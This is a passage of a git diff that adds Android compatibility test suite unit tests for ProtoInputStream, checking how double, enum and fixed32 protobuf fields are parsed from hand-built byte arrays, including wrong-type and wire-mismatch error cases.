+                    break;
+                case (int) FIELD_ID_10:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+        assertEquals(0.0, results[0][0]);
+        assertEquals(0.0, results[0][1]);
+        assertEquals(1.0, results[1][0]);
+        assertEquals(1.0, results[1][1]);
+        assertEquals(-1234.432, results[2][0]);
+        assertEquals(-1234.432, results[2][1]);
+        assertEquals(42.42, results[3][0]);
+        assertEquals(42.42, results[3][1]);
+        assertEquals(Double.MIN_NORMAL, results[4][0]);
+        assertEquals(Double.MIN_NORMAL, results[4][1]);
+        assertEquals(Double.MIN_VALUE, results[5][0]);
+        assertEquals(Double.MIN_VALUE, results[5][1]);
+        assertEquals(Double.NEGATIVE_INFINITY, results[6][0]);
+        assertEquals(Double.NEGATIVE_INFINITY, results[6][1]);
+        assertEquals(Double.NaN, results[7][0]);
+        assertEquals(Double.NaN, results[7][1]);
+        assertEquals(Double.POSITIVE_INFINITY, results[8][0]);
+        assertEquals(Double.POSITIVE_INFINITY, results[8][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new double[0]);
+        testPackedCompat(new double[]{0, 1, -1234.432, 42.42,
+                Double.MIN_NORMAL, Double.MIN_VALUE, Double.NEGATIVE_INFINITY, Double.NaN,
+                Double.POSITIVE_INFINITY,
+        });
+    }
+
+    /**
+     * Implementation of testPackedCompat with a given value.
+     */
+    private void testPackedCompat(double[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_DOUBLE;
+        final long FIELD_ID = fieldFlags | ((long) 12 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.doubleFieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+        final Test.All readback = Test.All.parseFrom(proto);
+
+        double[] result = new double[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readDouble(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        assertEquals(readback.doubleFieldPacked.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(readback.doubleFieldPacked[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x09,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readInt(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_DOUBLE;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x08,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readDouble(FIELD_ID_1);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readDouble(FIELD_ID_2);
+                        // don't fail, fixed64 is ok
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readDouble(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed doubles)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readDouble(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamEnumTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamEnumTest.java
new file mode 100644
index 0000000..6a0a7b9
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamEnumTest.java
@@ -0,0 +1,569 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamEnumTest extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[] results = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    fail("Should never reach this");
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+        assertEquals(0, results[0]);
+        assertEquals(1, results[1]);
+        assertEquals(-1, results[2]);
+        assertEquals(Integer.MIN_VALUE, results[3]);
+        assertEquals(Integer.MAX_VALUE, results[4]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testReadCompat() throws Exception {
+        testReadCompat(0);
+        testReadCompat(1);
+        testReadCompat(-1);
+        testReadCompat(Integer.MIN_VALUE);
+        testReadCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testReadCompat with a given value.
+     */
+    private void testReadCompat(int val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+        final long FIELD_ID = fieldFlags | ((long) 160 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.outsideField = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+
+        int result = 0; // start off with default value
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        // Nano proto drops values that are outside the range, so compare against val
+        assertEquals(val, result);
+    }
+
+    public void testRepeated() throws IOException {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    private void testRepeated(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_ENUM;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 6 -> MAX_VALUE
+                (byte) 0x30,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x08,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x10,
+                (byte) 0x01,
+                // 3 -> -1
+                (byte) 0x18,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 4 -> MIN_VALUE
+                (byte) 0x20,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+                // 5 -> MAX_VALUE
+                (byte) 0x28,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[]{});
+        testRepeatedCompat(new int[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE});
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testRepeatedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_ENUM;
+        final long FIELD_ID = fieldFlags | ((long) 161 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.outsideFieldRepeated = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        // Nano proto drops values that are outside the range, so compare against val
+        assertEquals(val.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(val[i], result[i]);
+        }
+    }
+
+    public void testPacked() throws IOException {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    private void testPacked(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_ENUM;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, written when repeated
+                (byte) 0x0a,
+                (byte) 0x02,
+                (byte) 0x00,
+                (byte) 0x00,
+                // 2 -> 1
+                (byte) 0x12,
+                (byte) 0x02,
+                (byte) 0x01,
+                (byte) 0x01,
+
+                // 6 -> MAX_VALUE
+                (byte) 0x32,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                // 3 -> -1
+                (byte) 0x1a,
+                (byte) 0x14,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 4 -> MIN_VALUE
+                (byte) 0x22,
+                (byte) 0x14,
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+                // 5 -> MAX_VALUE
+                (byte) 0x2a,
+                (byte) 0x0a,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[][] results = new int[5][2];
+        int[] indices = new int[5];
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID_1:
+                    results[0][indices[0]++] = pi.readInt(FIELD_ID_1);
+                    break;
+                case (int) FIELD_ID_2:
+                    results[1][indices[1]++] = pi.readInt(FIELD_ID_2);
+                    break;
+                case (int) FIELD_ID_3:
+                    results[2][indices[2]++] = pi.readInt(FIELD_ID_3);
+                    break;
+                case (int) FIELD_ID_4:
+                    results[3][indices[3]++] = pi.readInt(FIELD_ID_4);
+                    break;
+                case (int) FIELD_ID_5:
+                    results[4][indices[4]++] = pi.readInt(FIELD_ID_5);
+                    break;
+                case (int) FIELD_ID_6:
+                    // Intentionally don't read the data. Parse should continue normally
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+        stream.close();
+
+
+        assertEquals(0, results[0][0]);
+        assertEquals(0, results[0][1]);
+        assertEquals(1, results[1][0]);
+        assertEquals(1, results[1][1]);
+        assertEquals(-1, results[2][0]);
+        assertEquals(-1, results[2][1]);
+        assertEquals(Integer.MIN_VALUE, results[3][0]);
+        assertEquals(Integer.MIN_VALUE, results[3][1]);
+        assertEquals(Integer.MAX_VALUE, results[4][0]);
+        assertEquals(Integer.MAX_VALUE, results[4][1]);
+    }
+
+    /**
+     * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[]{});
+        testPackedCompat(new int[]{0, 1});
+
+        // Nano proto has a bug.  It gets the size with computeInt32SizeNoTag (correctly)
+        // but incorrectly uses writeRawVarint32 to write the value for negative numbers.
+        //testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    private void testPackedCompat(int[] val) throws Exception {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_ENUM;
+        final long FIELD_ID = fieldFlags | ((long) 162 & 0x0ffffffffL);
+
+        final Test.All all = new Test.All();
+        all.outsideFieldPacked = val;
+
+        final byte[] proto = MessageNano.toByteArray(all);
+
+        final ProtoInputStream pi = new ProtoInputStream(proto);
+
+        int[] result = new int[val.length];
+        int index = 0;
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            switch (pi.getFieldNumber()) {
+                case (int) FIELD_ID:
+                    result[index++] = pi.readInt(FIELD_ID);
+                    break;
+                default:
+                    fail("Unexpected field id " + pi.getFieldNumber());
+            }
+        }
+
+        // Nano proto drops values that are outside the range, so compare against val
+        assertEquals(val.length, result.length);
+        for (int i = 0; i < result.length; i++) {
+            assertEquals(val[i], result[i]);
+        }
+    }
+
+    /**
+     * Test that using the wrong read method throws an exception
+     */
+    public void testBadReadType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+        };
+
+        ProtoInputStream pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readFloat(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readDouble(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBoolean(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readLong(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readBytes(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+
+        pi = new ProtoInputStream(protobuf);
+        pi.isNextField(FIELD_ID_1);
+        try {
+            pi.readString(FIELD_ID_1);
+            fail("Should have throw IllegalArgumentException");
+        } catch (IllegalArgumentException iae) {
+            // good
+        }
+    }
+
+    /**
+     * Test that unexpected wrong wire types will throw an exception
+     */
+    public void testBadWireType() throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_ENUM;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 : varint -> 1
+                (byte) 0x08,
+                (byte) 0x01,
+                // 2 : fixed64 -> 0x1
+                (byte) 0x11,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 : length delimited -> { 1 }
+                (byte) 0x1a,
+                (byte) 0x01,
+                (byte) 0x01,
+                // 6 : fixed32
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream);
+
+        while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+            try {
+                switch (pi.getFieldNumber()) {
+                    case (int) FIELD_ID_1:
+                        pi.readInt(FIELD_ID_1);
+                        // don't fail, varint is ok
+                        break;
+                    case (int) FIELD_ID_2:
+                        pi.readInt(FIELD_ID_2);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    case (int) FIELD_ID_3:
+                        pi.readInt(FIELD_ID_3);
+                        // don't fail, length delimited is ok (represents packed enums)
+                        break;
+                    case (int) FIELD_ID_6:
+                        pi.readInt(FIELD_ID_6);
+                        fail("Should have thrown a WireTypeMismatchException");
+                        break;
+                    default:
+                        fail("Unexpected field id " + pi.getFieldNumber());
+                }
+            } catch (WireTypeMismatchException wtme) {
+                // good
+            }
+        }
+        stream.close();
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed32Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed32Test.java
new file mode 100644
index 0000000..935a3ad
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamFixed32Test.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamFixed32Test extends TestCase {
+
+    public void testRead() throws IOException {
+        testRead(0);
+        testRead(1);
+        testRead(5);
+    }
+
+    private void testRead(int chunkSize) throws IOException {
+        final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_FIXED32;
+
+        final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+        final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+        final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+        final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+        final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+        final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+        final byte[] protobuf = new byte[]{
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte) 0x15,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 6 -> 1
+                (byte) 0x35,
+                (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+                // 3 -> -1
+                (byte) 0x1d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+                // 4 -> Integer.MIN_VALUE
+                (byte) 0x25,
+                (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x80,
+                // 5 -> Integer.MAX_VALUE
+                (byte) 0x2d,
+                (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+        };
+
+        InputStream stream = new ByteArrayInputStream(protobuf);
+        final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+        int[] results = new int[5];
